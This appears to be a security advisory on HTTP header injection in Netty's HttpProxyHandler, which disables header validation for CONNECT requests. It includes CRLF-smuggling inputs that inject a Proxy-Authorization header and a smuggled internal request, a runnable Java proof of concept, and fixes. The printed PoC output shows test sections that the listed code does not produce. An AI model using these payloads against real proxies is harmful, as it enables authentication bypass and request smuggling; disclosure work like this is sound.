Vulnerability details
Vulnerability
Data from Dependency-Track
Affected versions
Score
Description
# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty
## 1. Vulnerability Summary
| Field | Value |
|-------|-------|
| **Product** | Netty |
| **Version** | 4.2.12.Final (and all prior versions) |
| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |
| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |
| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |
| **CVSS 3.1 Score** | **7.5 (High)** |
| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |
| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |
## 2. Affected Components
- `io.netty.handler.proxy.HttpProxyHandler` — `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`
## 3. Vulnerability Description
Netty's `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.
### Root Cause
```java
// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
// ...
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, hostHeader);
if (authorization != null) {
req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
}
if (outboundHeaders != null) {
req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION
}
return req;
}
```
The `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.
### Incomplete Fix of GHSA-84h7-rjj3-6jx4
**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**
The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:
1. The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
2. User-provided `outboundHeaders` are added without any CRLF check
3. The resulting CONNECT request contains unvalidated headers on the wire
This is not a new vulnerability class — it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.
## 4. Exploitability Prerequisites
This vulnerability is exploitable when:
1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`
2. The application does not perform its own CRLF sanitization on header values
**Common affected patterns**:
- HTTP proxy clients that forward user-specified custom headers
- Web scraping frameworks that allow users to set proxy headers
- API gateways that pass user headers through a proxy tunnel
## 5. Attack Scenarios
### Scenario 1: Proxy Authentication Bypass
```java
HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput); // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);
```
**Attack input**: `userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="`
**Wire format**:
```
CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED
```
The injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.
### Scenario 2: Request Smuggling via Proxy
**Attack input**: `userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"`
Injects a full smuggled request through the proxy tunnel establishment.
## 6. Proof of Concept
### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)
```java
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
"target.com:443",
io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value
String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
ch.writeOutbound(req);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
System.out.println("VULNERABLE: " +
(encoded.contains("X-Admin: true") ? "YES" : "NO"));
}
}
```
### PoC Execution Output (Verified on Netty 4.2.12.Final)
```
=== Netty HttpProxyHandler Header Injection PoC ===
[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
Header accepted: YES (validation disabled!)
Wire format:
CONNECT target.com:443 HTTP/1.1\r
host: target.com:443\r
X-Forwarded-For: 1.2.3.4\r
X-Forwarded-For: 127.0.0.1\r <-- INJECTED
X-Admin: true\r <-- INJECTED
\r
Injected X-Admin header in wire: true
VULNERABLE: YES
[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
With validation=true:
SAFE: Rejected - IllegalArgumentException
With validation=false:
VULNERABLE: Accepted CRLF in header value!
Stored value contains CRLF: true
```
## 7. Remediation Recommendations
### Option 1: Remove withValidation(false)
```java
// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();
```
### Option 2: Validate outboundHeaders Before Adding
```java
if (outboundHeaders != null) {
for (Map.Entry<String, String> entry : outboundHeaders) {
HttpUtil.validateHeaderValue(entry.getValue());
}
req.headers().add(outboundHeaders);
}
```
## 8. Resources
- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix — this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)
- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)
Same vulnerability as